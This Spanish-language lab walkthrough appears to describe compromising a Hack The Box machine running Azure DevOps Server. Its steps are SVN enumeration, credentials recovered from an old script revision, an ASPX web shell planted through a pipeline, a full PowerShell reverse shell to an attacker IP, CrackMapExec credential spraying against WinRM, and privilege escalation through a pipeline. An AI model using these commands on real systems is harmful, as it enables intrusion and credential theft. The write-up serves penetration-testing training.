Azure DevOps Serve es una solución integral desarrollada por Microsoft para el control de versiones, recopilación de informes y seguimiento para la colaboración en proyectos de desarrollo de software.
El producto está disponible como una aplicación independiente, similar en funcionalidad al servicio en la nube de Azure DevOps Services (hasta 2019 se llamaba Visual Studio Team Services, VSTS).
En esta ocasión, los especialistas en seguridad web del Instituto Internacional de Seguridad Cibernética (IICS) le mostrarán cómo hacerse cargo de un host con Azure DevOps. Cabe aclarar que el presente material fue elaborado con fines enteramente didácticos, por lo que IICS no se hace responsable del mal uso que pueda darse a la información aquí contenida.
RECON
En esta demostración, la máquina tiene una dirección IP de 10.10.10.192, que fue agregada a /etc/hosts.
10.10.10.203 worker.htb
En primer lugar, los expertos en seguridad web señalan que debemos escanear los puertos abiertos. Haga esto usando el siguiente script, que toma como argumento la dirección del host que se está escaneando:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
El servidor web y el servicio SVN están disponibles para nosotros. Aún así, la web aún no tiene nada que ofrecernos, mencionan los expertos en seguridad web.
Pasemos al servicio SNV. Subversion es un sistema de control de versiones centralizado y gratuito. Consigamos información básica.
svn info svn://worker.htb
Ya conocemos la línea de base, el autor, y podemos averiguar los últimos cinco cambios.
PUNTO DE ENTRADA
Veamos la lista de archivos en esta rama.
svn list svn://worker.htb
Tenemos un directorio y un archivo, Descargaremos todo en nuestro host.
svn export svn: //worker.htb/dimension.worker.htb/
svn export svn://worker.htb/moved.txt
Y del último archivo encontramos el nuevo subdominio, señalan los expertos en seguridad web.
Agreguémoslo a /etc/hosts.
10.10.10.203 devops.worker.htb
Pero ahí nos encontramos con la autenticación HTTP. Veamos los últimos cambios. En el segundo paso, encontramos un archivo interesante que no habíamos visto antes.
svn checkout -r 1 svn://worker.htb
svn checkout -r 2 svn://worker.htb
A continuación aplicaremos los cambios para obtener este archivo.
svn up -r 2 deploy.ps1
Y en este script de PowerShell, encontraremos las credenciales, señalan los expertos en seguridad web.
Con las credenciales encontradas podremos autenticarnos sin complicaciones.
USO
Prestemos atención al repositorio y al hecho de que contiene el código.
Usamos el nombre del repositorio como subdominio ingresándolo en /etc/hosts.
10.10.10.203 spectral.worker.htb
De este modo ingresaremos al sitio web.
Este es el vector RCE. Hagamos el cambio agregando un shell ASPX al servidor. Creemos una nueva rama, agreguemos un archivo, agreguemos una tarea y hagamos que la rama sea la principal.
Y después de aplicar todos los cambios, pasemos a nuestro archivo.
Debemos obtener un shell completo. Para esto, los expertos en seguridad web recomiendan iniciar el listener y ejecutar la conexión de retroceso de PowerShell.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}; $client.Close()
De este modo obtendremos el shell.
Después de echar un vistazo alrededor, encontramos los directorios de configuración.
Encontraremos múltiples conjuntos de nombre de usuario y contraseña en el archivo passwd.
Y por los puertos abiertos, determinamos que el servicio WinRM está en ejecución, mencionan los expertos en seguridad web.
A continuación podemos elaborar listas de usuarios y contraseñas con la información encontrada.
cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txt
cat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt
Ahora podremos buscar credenciales empleando un ataque de fuerza bruta con la herramienta CrackMapExec.
cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb
Como resultado, encontramos las credenciales del usuario del sistema.
ROOT
Con las mismas credenciales, regresamos a nuestro sitio.
Esta vez podemos crear nuestro propio proyecto y ejecutar comandos arbitrarios a través de la consola, mencionan los especialistas en seguridad web.
En este archivo, eliminamos el grupo y en steps -> script escribimos lo que debe ejecutar el sistema. Por ejemplo, ordenamos la carga y ejecución del shell anterior.
En la ventana del oyente vemos una nueva conexión, pero ahora un shell con altos privilegios.
Para conocer más sobre riesgos de seguridad informática, malware, vulnerabilidades y tecnologías de la información, no dude en ingresar al sitio web del Instituto Internacional de Seguridad Cibernética (IICS).
Es un conocido experto en seguridad móvil y análisis de malware. Estudió Ciencias de la Computación en la NYU y comenzó a trabajar como analista de seguridad cibernética en 2003. Trabaja activamente como experto en antimalware. También trabajó para empresas de seguridad como Kaspersky Lab. Su trabajo diario incluye investigar sobre nuevos incidentes de malware y ciberseguridad. También tiene un profundo nivel de conocimiento en seguridad móvil y vulnerabilidades móviles.